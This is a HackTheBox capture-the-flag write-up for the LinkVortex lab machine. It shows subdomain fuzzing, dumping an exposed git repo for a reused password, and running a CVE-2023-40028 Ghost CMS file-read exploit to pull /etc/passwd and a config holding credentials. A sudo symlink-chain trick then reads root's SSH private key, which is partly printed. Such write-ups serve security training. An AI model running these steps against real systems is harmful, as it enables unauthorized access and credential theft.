HTB LinkVortex Writeup
Overview
This is an easy Linux machine on HackTheBox. Given an IP we want to compromise the machine by creating a root
shell with full administrator privileges
Exploit Path
Fuzzing reveals the dev
subdomain that hosts a git
repo. Dumping the repository we find reused admin credentials. This version of Ghost CMS
is vulnerable to an authenticated arbitrary file read allowing us to read a configuration file. It contains credentials that are reused over ssh
, giving us a foothold onto the system and the user.txt
flag!
The bob
user can run a shell script as root
. Through a symlink chain we have a privileged arbitrary file read. We can read the root.txt
flag and grab root
’s private ssh
key to create a full administrator shell!
Enumeration
Port Scan
Let’s find out what services are accessible
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(kali@kali)-[~/linkvortex.htb]
└─$ rustscan --accessible -a 10.10.10.70 -- -A -sC
Automatically increasing ulimit value to 5000.
Open 10.10.11.47:22
Open 10.10.11.47:80
Starting Script(s)
Running script "nmap -vvv -p -A -sC" on ip 10.10.11.47
Depending on the complexity of the script, results may take some time to appear.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-08 12:58 EDT
# ...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMHm4UQPajtDjitK8Adg02NRYua67JghmS5m3E+yMq2gwZZJQ/3sIDezw2DVl9trh0gUedrzkqAAG1IMi17G/HA=
| 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKKLjX3ghPjmmBL2iV1RCQV9QELEU+NF06nbXTqqj4dz
80/tcp open http syn-ack ttl 63 Apache httpd
|_http-title: BitByBit Hardware
|_http-favicon: Unknown favicon MD5: A9C6DBDCDC3AE568F4E0DAD92149A0E3
| http-methods:
|_ Supported Methods: POST GET HEAD OPTIONS
|_http-server-header: Apache
| http-robots.txt: 4 disallowed entries
|_/ghost/ /p/ /email/ /r/
|_http-generator: Ghost 5.58
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=10/8%OT=22%CT=%CU=44089%PV=Y%DS=2%DC=T%G=N%TM=68E69833
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M552ST11NW7%O2=M552ST11NW7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M552ST11
OS:NW7%O6=M552ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M552NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
There is a web server running Ghost 5.58
on port 80
1
2
3
4
5
6
7
8
9
80/tcp open http syn-ack ttl 63 Apache httpd
|_http-title: BitByBit Hardware
|_http-favicon: Unknown favicon MD5: A9C6DBDCDC3AE568F4E0DAD92149A0E3
| http-methods:
|_ Supported Methods: POST GET HEAD OPTIONS
|_http-server-header: Apache
| http-robots.txt: 4 disallowed entries
|_/ghost/ /p/ /email/ /r/
|_http-generator: Ghost 5.58
Add the domain to our /etc/hosts
file
1
<MACHINE_IP> linkvortex.htb
Sub Domain
There’s another sub domain found through fuzzing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali@kali)-[~/linkvortex.htb]
└─$ wfuzz -c -t 50 -u http://linkvortex.htb -H 'Host: FUZZ.linkvortex.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 20
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzzs documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://linkvortex.htb/
Total requests: 114442
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 115 L 255 W 2538 Ch "dev"
000009532: 400 8 L 27 W 226 Ch "#www"
000010581: 400 8 L 27 W 226 Ch "#mail"
000047706: 400 8 L 27 W 226 Ch "#smtp"
000103135: 400 8 L 27 W 226 Ch "#pop3"
Total time: 126.1771
Processed Requests: 114442
Filtered Requests: 114437
Requests/sec.: 906.9944
Add the dev
subdomain to our /etc/hosts
file
1
<MACHINE_IP> linkvortex.htb dev.linkvortex.htb
Website
The /robots.txt
file reveals a few directories
1
2
3
4
5
6
User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
/ghost
will lead to the dashboard login page
Reading through the site we see posts written by the admin
user, a potential username!
We know from our scan the server is running Ghost v5.58
which is vulnerable to an authenticated arbitrary file read. It needs credentials to work so we’ll need to find a password
user.txt
Dev Subdomain
Brute forcing directories on the dev
sub domain reveals a .git
folder
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali@kali)-[~/linkvortex.htb]
└─$ dirsearch -w /usr/share/wordlists/dirb/common.txt -r -f --threads=100 --url=dev.linkvortex.htb --output=dev-dirsearch-ext.txt -e txt,php,html,js,md
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: txt, php, html, js, md | HTTP method: GET | Threads: 100 | Wordlist size: 31784
Output File: dev-dirsearch-ext.txt
Target: http://dev.linkvortex.htb/
[13:15:05] Starting:
[13:15:06] 200 - 41B - /.git/HEAD
[13:15:48] 403 - 199B - /cgi-bin/
Added to the queue: cgi-bin/
[13:16:54] 403 - 199B - /icons/
Added to the queue: icons/
We can copy the repository to our machine by using git-dumper
1
2
3
4
5
┌──(kali@kali)-[~/linkvortex.htb]
└─$ mkdir dev.linkvortex.htb
┌──(kali@kali)-[~/linkvortex.htb]
└─$ git-dumper http://dev.linkvortex.htb ./dev.linkvortex.htb
It’s a git
repo so check for updated files
1
2
3
4
5
6
7
┌──(kali@kali)-[~/linkvortex.htb/dev.linkvortex.htb]
└─$ git status
Not currently on any branch.
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: Dockerfile.ghost
modified: ghost/core/test/regression/api/admin/authentication.test.js
The authentication.test.js
file was changed. Let’s view the differences
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali@kali)-[~/linkvortex.htb/dev.linkvortex.htb]
└─$ git diff --staged
# ...
diff --git a/ghost/core/test/regression/api/admin/authentication.test.js b/ghost/core/test/regression/api/admin/authentication.test.js
index 2735588..e654b0e 100644
--- a/ghost/core/test/regression/api/admin/authentication.test.js
+++ b/ghost/core/test/regression/api/admin/authentication.test.js
@@ -53,7 +53,7 @@ describe('Authentication API', function () {
it('complete setup', async function () {
const email = 'test@example.com';
- const password = 'thisissupersafe';
+ const password = 'OctopiFociPilfer45';
const requestMock = nock('https://api.github.com')
.get('/repos/tryghost/dawn/zipball')
A new password was added! Login to Ghost CMS
using the portal and username we found earlier
1
admin@linkvortex.htb:OctopiFociPilfer45
Authenticated Arbitrary File Read
We know this version of Ghost CMS
is vulnerable to a CVE-2023-40028, an authenticated file read vulnerability. Clone the repo and change the GHOST_URL
variable
1
GHOST_URL='http://linkvortex.htb'
Now we can run the exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(kali@kali)-[~/linkvortex.htb/CVE-2023-40028]
└─$ ./CVE-2023-40028.sh --help
./CVE-2023-40028.sh: illegal option -- -
Usage: ./CVE-2023-40028.sh -u username -p password
┌──(kali@kali)-[~/linkvortex.htb/CVE-2023-40028]
└─$ ./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
We know this is a docker container so
/etc/passwd
won’t contain the user we find later
In the dev
repo there’s a Dockerfile
that gives the full path for a configuration file
1
2
3
4
5
6
7
┌──(kali@kali)-[~/linkvortex.htb/dev.linkvortex.htb]
└─$ cat Dockerfile.ghost
FROM ghost:5.58.0
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
# ...
Reading the conf file leaks credentials
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "<PASSWORD_REDACTED>"
}
}
}
}
We can reuse these credentials over ssh
to grab the user.txt
flag!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali@kali)-[~/linkvortex.htb/dev.linkvortex.htb]
└─$ ssh bob@linkvortex.htb
bob@linkvortex.htbs password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Tue Dec 3 11:41:50 2024 from 10.10.14.62
bob@linkvortex:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@linkvortex:~$ cat user.txt
root.txt
Enumerating bob
’s sudo
privileges we can run a shell script as root
and set the CHECK_CONTENT
environment variable
1
2
3
4
5
6
7
8
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
The clean_symlink.sh
script will let us read any file as root
. Let’s dig into the details
The first argument must end in .png
1
2
3
4
5
6
7
8
9
bob@linkvortex:/opt/ghost$ cat clean_symlink.sh
#!/bin/bash
# ...
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
# ...
We can’t read a link that contains etc
or root
in the target directory
1
2
3
4
5
6
7
# ...
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
If the CHECK_CONTENT
environment variable is true
we have a privileged file read on the symlink we pass as an argument
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# ...
QUAR_DIR="/var/quarantined"
# ...
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
# ...
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
We want to read root.txt
through a symbolic link but this format will fail as the target can’t have root
in its path
1
/home/bob/flag_link -> /root/root.txt
But if we proxy the symbolic link the check will pass
1
2
# flag_link doesn't have root in its path!
/home/bob/proxy_link.png -> /home/bob/flag_link -> /root/root.txt
After a bit of headache I learned that Ubuntu
has some symlink restrictions. Our symlink chain won’t be followed if it’s in a world writable directory like /tmp
!
We can see that it’s enabled with sysctl
thanks to this stack overflow post
1
2
bob@linkvortex:~$ sysctl fs.protected_symlinks
fs.protected_symlinks = 1
Let’s grab the root.txt
by creating our symlinks in bob
’s home directory
1
2
3
4
5
bob@linkvortex:~$ ln -s /root/root.txt flag
bob@linkvortex:~$ ln -s $(pwd)/flag proxy.png
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh proxy.png
Link found [ proxy.png ] , moving it to quarantine
Content:
Root Shell
Similarly we can leak root
’s private ssh
key to get a root
shell
1
2
3
4
5
6
7
8
9
10
11
bob@linkvortex:~$ ln -s /root/.ssh/id_rsa id_rsa
bob@linkvortex:~$ ln -s $(pwd)/id_rsa proxy.png
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh proxy.png
Link found [ proxy.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmpHVhV11MW7eGt9WeJ23rVuqlWnMpF+FclWYwp4SACcAilZdOF8T
q2egYfeMmgI9IoM0DdyDKS4vG+lIoWoJEfZf+cVwaZIzTZwKm7ECbF2Oy+u2SD+X7lG9A6
V1xkmWhQWEvCiI22UjIoFkI0oOfDrm6ZQTyZF99AqBVcwGCjEA67eEKt/5oejN5YgL7Ipu
# ...
Copy it to your machine, change the permissions, and login
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali@kali)-[~/linkvortex.htb]
└─$ vim id_rsa
┌──(kali@kali)-[~/linkvortex.htb]
└─$ chmod 600 id_rsa
┌──(kali@kali)-[~/linkvortex.htb]
└─$ ssh -i id_rsa root@linkvortex.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Dec 2 11:20:43 2024 from 10.10.14.61
root@linkvortex:~# id
uid=0(root) gid=0(root) groups=0(root)